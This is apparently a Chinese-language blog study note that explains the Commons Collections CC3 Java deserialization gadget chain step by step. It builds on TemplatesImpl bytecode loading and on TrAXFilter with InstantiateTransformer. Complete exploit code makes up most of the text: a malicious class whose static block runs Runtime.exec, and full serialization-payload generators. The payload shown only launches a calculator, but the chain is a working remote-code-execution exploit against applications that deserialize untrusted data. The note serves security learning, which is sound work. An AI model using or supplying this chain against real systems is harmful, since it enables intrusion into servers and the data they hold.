本文最后更新于 2026-01-29T13:43:10+08:00
学习视频:https://www.bilibili.com/video/BV1Zf4y1F74K?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3
环境搭建
环境依旧是用的和前面的CC1链一样的
笔记:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
分析链子
之前学习的CC1链和CC6链是通过Runtime.exec()进行命令执行的,而CC3链是通过动态加载类机制来实现自动执行恶意类代码的,所以当黑名单禁用了Runtime类的时候就可以利用CC3链
CC3链的前面就是和CC1链一样,不过到最后不是反射调用Runtime类了,而是TemplatesImpl#newTransformer,利用TemplatesImpl动态类加载来执行代码
TemplatesImpl加载字节码笔记:https://yschen20.github.io/2026/01/26/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81/#4-TemplatesImpl%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81
下面会详细的重新过一遍
先看一下ClassLoader的动态类加载:
通常是用ClassLoader#loadClass来加载

然后就会调用到ClassLoader#findClass

最后就是调用到ClassLoader#defineClass,就会从字节中加载一个类

但是类加载是不会执行代码的,所以就需要找一个初始化的地方,这里的defineClass是protected属性,所以就要找一个public的重写的defineClass

最终可以找到上图这里的defineClass,在TemplatesImpl.TranletClassLoader#defineClass中会调用到ClassLoader#defineClass,并且这里是没有定义作用域的,是一个defualt方法,可以在当前这个包里调用到
然后看看在哪能调用到这个defineClass,查找用法可以看到是在TemplatesImpl#defineTransletClasses中能调用到

这里要想走到下面的defineClass,就要满足_bytecodes不能为空,而且再下面会调用到_tfactory.getExternalExtensionsMap(),所以_tfactory也不能为空,这俩先放着,构造EXP的时候再看,这里就是给当前类中的_class属性赋值

在defineTransletClasses中还有一个点要注意的就是下面这里会有一个if判断,这里的superClass类就是要调用的恶意类,这里会检查恶意类的父类是不是常量ABSTRACT_TRANSLET,下面还有个if判断_transletIndex是不是小于0的,所以不能走进else里,要让这个条件成立,一会构造的时候再细看

然后继续找怎么调用到defineTransletClasses,查找用法可以看到有三处地方

其中前两个getTransletClasses和getTransletIndex最终都是返回一个值


在第三个getTransletInstance中可以看到是会调用_class[_transletIndex].newInstance()来进行初始化的,刚才提到类加载是不能调用执行代码的,但是初始化可以,所以如果能走到这里,就可以动态调用代码了

这里_class的赋值是调用了defineTransletClasses()

在defineTransletClasses中就是进行一个类加载来给_class赋值

这里getTransletInstance是private的,所以要继续往上找,就可以找到TemplatesImpl#newTransformer,这个方法就是public的了

这里会直接能调用到getTransletInstance(),所以只要能触发newTransformer就好啦

在CC1链中,最后是可以反射调用任意类方法的,就可以利用CC1的代码来反射调用到newTransformer
所以到这就可以构造链子了
构造链子
TemplatesImpl这个类是继承了Serializable接口,是可以进行序列化和反序列化的,类中的属性值也是可以通过反射进行修改的

先创建一个TemplatesImpl对象
1
| TemplatesImpl templates = new TemplatesImpl();
|
上面分析过了,在newTransformer中可以直接能触发getTransletInstance的,不用满足什么条件,继续看getTransletInstance里,就是要满足_name不为null,并且_class为null

这里就直接利用反射给_class赋值,具体什么值无所谓
1 2 3 4
| Class<?> templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "CC3");
|
然后在defineTransletClasses里有三处

首先是_bytecodes不能为null,这个就是要加载的自定义的恶意类,看一下定义是一个二维数组

然后去看一下它在类加载中的逻辑,就是在defineClass中是什么样的:

可以看到是一个一维数组,然后写代码:
先写一个恶意类:
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
编译为 class 文件
或者直接在IDEA中点一下小锤子

放到E:\tmp\目录下来测试

然后是利用类:
1 2 3 4 5
| Field byteCodesField = templatesClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); byte[][] codes = {code}; byteCodesField.set(templates, codes);
|
继续看第二个_tfactory,是会调用到_tfactory.getExternalExtensionsMap(),所以也不能为空,否则会报错,看一下定义,是TransformerFactoryImpl类型的,并且有transient这个属性,表明它是一个不可以序列化的变量,所以现在给它赋值是没用的,在反序列化的时候是不会传进去的

既然这样那就看看_tfactory的赋值逻辑,去看readObject:

所以这里就像readObject里的一样,给他赋值TransformerFactoryImpl
1 2 3
| Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
|
第三处就是那个if判断的部分,这里可以先不管这个,先直接调用newTransformer来看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "CC3");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); byte[][] codes = {code}; byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer(); } }
|
正常来说如果没问题是可以加载到自定义的恶意类Calc的,然后弹计算器,但是运行后会发现出现报错:

可以看到在TemplatesImpl.defineTransletClasses里出现问题,在TemplatesImpl里的422行:

找到这就会发现这里就是刚才说的第三处要修改的地方,在这个if判断这下个断点调试一下:

可以看到,因为刚才在写恶意类的时候没有继承父类,这里直接走进的else里,而且_auxClasses是null,就会导致的报错,这里有两种思路来改正:
- 第一种就是给
_auxClasses赋值,不再为null,但是这样做的画继续往下走还会有问题,因为看上面_transletIndex的值是-1了,继续到下面一个if判断时就会进入报错,所以这个思路不行
- 第二种思路就是满足第一个
if判断了
所以解决方法就是满足superClass.getName().equals(ABSTRACT_TRANSLET)这个条件,这里的superClass是自定义的恶意类Calc,要使其父类是ABSTRACT_TRANSLET,也就是AbstractTranslet

所以这里去修改一下恶意类,使其继承AbstractTranslet类,然后就会发现只是单纯的继承是会有报错的,看一下报错发现这里需要重写两个transform方法

这里点一下实现方法就行,IDEA直接帮写好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
然后就是重新编译并放到测试目录下,完成后再运行可以看到成功弹出计算器了

最后就可以借用CC1链中的代码来调用newTransformer,利用反射来调用newTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); chainedtransformer.transform(null); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer); Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class,decorate);
serialize(o); unserialize("ser.bin");
|
然后再加上序列化和反序列化的函数
1 2 3 4 5 6 7 8 9
| public static void serialize(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); return obj; }
|
运行成功,可以弹计算器

完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "CC3");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); byte[][] codes = {code}; byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer); Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object obj = declaredConstructor.newInstance(Target.class,decorate);
serialize(obj);
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); return obj; } }
|
补充
在 ysoserial 中的CC3链是调用的不是InvokerTransformer,而是InstantiateTransformer

回到newTransformer看一下再往上哪里还能调用到这个方法,查找用法可以找到以下这些

都看一下,先是Process#_main,不是用作一般对象的,就可以不用看了
然后是TemplatesImpl#getOutputProperties,这里是直接可以能调用到newTransformer的,并且也是public

所以就可以在之前的代码中更换一下,原本是反射调用newTransformer,也可以换成getOutputProperties,其他的还是不变,依旧可以执行代码
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("getOutputProperties", null, null) };
|

不过这也不是想要找的地方,还是要调用了InvokerTransformer,继续往下看

再下一个就是TransformerFactoryImpl类了,但是这个类没有继承Serializable接口,就不能进行序列化或反序列化

不能序列化的时候还想传参数,就要从 class 中入手,可以去看它的构造函数,在构造函数里传,但是可以看到这个类的构造函数就很难传了,这里也就不能利用

就继续看最后一个TrAXFilter类

这个类也是不能序列化的,但是可以看到构造函数中是传入的templates对象,然后就会直接调用到templates.newTransformer()

所以如果可以调用到TrAXFilter类的构造函数,就可以成功执行代码了,这里就可以从 class 入手,通过构造函数来对其私有属性进行赋值
然后可以去看InstantiateTransformer#transform,这个函数就是会判断传入的是不是 class 类型,如果是,就会获取到指定类型的构造器,然后调用其构造函数

这就可以通过InstantiateTransformer#transform调用到TrAXFilter类的构造函数,从而调用到newTransformer执行代码
看一下InstantiateTransformer的构造函数,这俩参数分别是要实例化的类的构造函数的参数类型和参数

这里要实例化的就是TrAXFilter类,参数类型是Templates

参数值就是前面构造好的templates

然后调用instantiateTransformer#transform,要传入的就是要实例化的TrAXFilter类,但是这个类是不能序列化的,就要传入TrAXFilter.class

这里就像CC1链中一样调用ChainedTransformer来给这些代码包起来:
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
|

完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "CC3");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); byte[][] codes = {code}; byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer); Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object obj = declaredConstructor.newInstance(Target.class,decorate);
unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); return obj; } }
|